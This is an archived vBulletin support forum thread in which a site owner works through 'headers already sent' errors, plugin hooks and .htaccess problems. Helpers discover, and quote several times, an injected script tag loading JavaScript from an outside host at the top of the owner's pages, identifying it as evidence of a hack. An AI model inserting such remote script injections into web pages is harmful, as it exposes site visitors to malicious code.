PDA

View Full Version : Error: Unable to add cookies, header already sent


BlueCheri
09-29-2014, 11:01 AM
Getting following error, can someone please help me on that?

Unable to add cookies, header already sent.
File: /home/-forum name-/public_html/dbtech/status/hooks/init_startup.php
Line: 33

Thanx in advance.

G!

Dave
09-29-2014, 11:16 AM
You should contact the author of that status mod by dbtech.
It basically means that output is being sent before vBulletin can set cookies/headers, this must happen before any output is being sent to the client.

Lynne
09-29-2014, 05:21 PM
Did you recently edit your config.php file? If so, did you make sure to use a plain text editor such as notepad++? If you didn't, you may have left a BOM, so I'd suggest redoing the config.php file with a plain text editor.

BlueCheri
10-03-2014, 07:07 AM
You should contact the author of that status mod by dbtech.
It basically means that output is being sent before vBulletin can set cookies/headers, this must happen before any output is being sent to the client.

Thanx for reply.

Did you recently edit your config.php file? If so, did you make sure to use a plain text editor such as notepad++? If you didn't, you may have left a BOM, so I'd suggest redoing the config.php file with a plain text editor.

Tried with Notepad++

Now getting following error, can you please help me on this?

Thanx in advance.


Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at ..../dbtech/status/hooks/init_startup.php:33) in ..../includes/facebook/facebook.php on line 49

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ..../dbtech/status/hooks/init_startup.php:33) in

Lynne
10-03-2014, 04:32 PM
So you created a new config.php file that you edited using notepad++ or you just edited the existing one? Make sure you save it without BOM. Also, are you running 4.2.2? If so, please add the following line to your config.php file under the <?php line:


define('SKIP_DS_ERRORS', true);

BlueCheri
10-04-2014, 05:57 AM
So you created a new config.php file that you edited using notepad++ or you just edited the existing one? Make sure you save it without BOM. Also, are you running 4.2.2? If so, please add the following line to your config.php file under the <?php line:


define('SKIP_DS_ERRORS', true);



Many thanx again, tried with your suggestions. Sorry some how it's not working :(

I am not getting what I am doing wrong?

Kindly help me.

Rgds,

G!

Lynne
10-04-2014, 04:56 PM
Try disabling your modifications/plugins and see if you still have this problem.
Note: To temporarily disable the plugin system, edit includes/config.php and add this line right under <?php

define('DISABLE_HOOKS', true);

BlueCheri
10-04-2014, 05:49 PM
Try disabling your modifications/plugins and see if you still have this problem.
Note: To temporarily disable the plugin system, edit includes/config.php and add this line right under <?php

define('DISABLE_HOOKS', true);


Now it shows following error;

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at ..../vb/vb.php:300) in ..../includes/facebook/facebook.php on line 49

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ..../vb/vb.php:300) in ..../includes/facebook/facebook.php on line 49

Lynne
10-04-2014, 08:01 PM
You shouldn't be getting that warning if you add the line from post 5 to your config.php file. Is that line still in there?

BlueCheri
10-05-2014, 04:11 AM
You shouldn't be getting that warning if you add the line from post 5 to your config.php file. Is that line still in there?

Unfortunately the error is still there :(

Unable to add cookies, header already sent.
File: /home/offwalk/public_html/dbtech/status/hooks/init_startup.php
Line: 33

cellarius
10-05-2014, 07:19 AM
Well, the file that triggers the error clearly is from an addon, namely a dbtech one, probably status and moods. This addon clearly is still executing plugin code, which it wouldn't if that line of code was present. Either you did not add it correctly or you did not add it to the correct file.

BlueCheri
10-05-2014, 07:32 AM
Well, the file that triggers the error clearly is from an addon, namely a dbtech one, probably status and moods. This addon clearly is still executing plugin code, which it wouldn't if that line of code was present. Either you did not add it correctly or you did not add it to the correct file.

Thanx for your reply.

But now I can not login to admin cp and disable that mod, any other option to do it?

Note:

After using this code;

define('DISABLE_HOOKS', true);

I am getting following error;

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at ..../vb/vb.php:300) in ..../includes/facebook/facebook.php on line 49

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ..../vb/vb.php:300) in ..../includes/facebook/facebook.php on line 49

And for Admin CP following error;

Parse error: syntax error, unexpected T_VARIABLE in /home/offwalk/public_html/admincp/index.php on line 943

Lynne
10-05-2014, 03:59 PM
You should have both the lines in there:

define('DISABLE_HOOKS', true);
define('SKIP_DS_ERRORS', true);


What error do you get with both of those lines added via notepad++?

BlueCheri
10-06-2014, 04:44 AM
You should have both the lines in there:

define('DISABLE_HOOKS', true);
define('SKIP_DS_ERRORS', true);


What error do you get with both of those lines added via notepad++?

Same error

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at ..../vb/vb.php:300) in ..../includes/facebook/facebook.php on line 49

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ..../vb/vb.php:300) in ..../includes/facebook/facebook.php on line 49

https://vborg.vbsupport.ru/external/2014/10/28.jpg

cellarius
10-06-2014, 08:27 AM
Download a fresh package from the customer's area at vb.com and reupload your vB files. Leave the lines Lynne told you in your config.php.

Lynne
10-06-2014, 04:02 PM
What is this code at the top of your page?

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

Disco_Stu
10-06-2014, 10:44 PM
What is this code at the top of your page?

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

If his site was hacked then there's the possibility that anyone visiting his site (including those that are trying to help him) may also now be hacked themselves.

Lynne
10-07-2014, 11:07 PM
Visiting a hacked site doesn't suddenly 'hack' your computer. I visit hacked sites quite often and I've never had my computer hacked because of it.

Disco_Stu
10-08-2014, 12:01 AM
Visiting a hacked site doesn't suddenly 'hack' your computer. I visit hacked sites quite often and I've never had my computer hacked because of it.

I didn't say it would. I said there is the possibility. It's never a good idea to visit a site that may be compromised . Most viruses are designed to spread with each new visitor to the infected site.

Also, keep in mind that the best designed virus is the virus that infects your computer without you ever knowing about it. Sometimes people have a virus on their system for years before it's discovered. How do you think all the big box store hacking is taking place? Those viruses were present for a long time even when those companies had entire IT departments dedicated to protecting their systems.

BlueCheri
10-08-2014, 10:58 AM
Ok, thanks.

Let try this.

Rgds

What is this code at the top of your page?

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

--------------- Added 1412775828 at 1412775828 ---------------

That works, many thanx :)

Rgds,


Download a fresh package from the customer's area at vb.com and reupload your vB files. Leave the lines Lynne told you in your config.php.

What is this code at the top of your page?

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

BlueCheri
10-15-2014, 07:24 AM
Now getting following error for every;

Forums
Threads
&
Posts

Kindly help.

https://vborg.vbsupport.ru/external/2014/10/16.jpg

Seven Skins
10-15-2014, 08:49 AM
See if changing the url's to (Standard URL) structure helps.

AdminCP > Settings >Options > Friendly Urls ... Standard url's

If it works then your htaccess file may be causing an issue.

BlueCheri
10-15-2014, 09:08 AM
Changing to Standard URL (from Mod Rewrite Friendly URLs) works.

Now what to change in htaccess file?

See if changing the url's to (Standard URL) structure helps.

AdminCP > Settings >Options > Friendly Urls ... Standard url's


If it works then your htaccess file may be causing an issue.

Seven Skins
10-15-2014, 01:25 PM
Attached is the standard vbulletin htaccess file.
Compare this with your htaccess file and if all the lines are there.

OR send your htaccess file and we will have a look.

BlueCheri
10-15-2014, 01:48 PM
Thanx for your support.

I am not good with coding, attaching my file for your reference.

Kindly do the needful.

Rgds

Attached is the standard vbulletin htaccess file.
Compare this with your htaccess file and if all the lines are there.

OR send your htaccess file and we will have a look.

Edit:

Note: Can not upload .htaccess file :(
Also is shows 0 bytes :(

Shall I try to upload the file you have sent?

Seven Skins
10-15-2014, 04:05 PM
rename the file to htaccess.txt then upload or put it in the zip file.

BlueCheri
10-15-2014, 06:54 PM
rename the file to htaccess.txt then upload or put it in the zip file.

After renaming to htaccess.txt file and uploading to root file, it does not work with 'Mod friendly urls', it give 404 error.

Now using Advanced Friendly URLs option, the site works for it.

Seven Skins
10-16-2014, 08:08 AM
Attach the htacces file to the post in this thread.

BlueCheri
10-16-2014, 11:59 AM
Currently attached file is uploaded, please check.

Attach the htacces file to the post in this thread.

Seven Skins
10-16-2014, 04:53 PM
Try the attached file.. Upload to the root of your forum and rename it to .htaccess

Make sure the setting below has www in the url.

AdminCP > Settings > Options > Site Name / URL / Contact Details > Forum URL = http://www.offwalk.com

BlueCheri
10-17-2014, 04:49 AM
That works :)

Many thanx for your help and support.

Rgds

Try the attached file.. Upload to the root of your forum and rename it to .htaccess

Make sure the setting below has www in the url.

AdminCP > Settings > Options > Site Name / URL / Contact Details > Forum URL = http://www.offwalk.com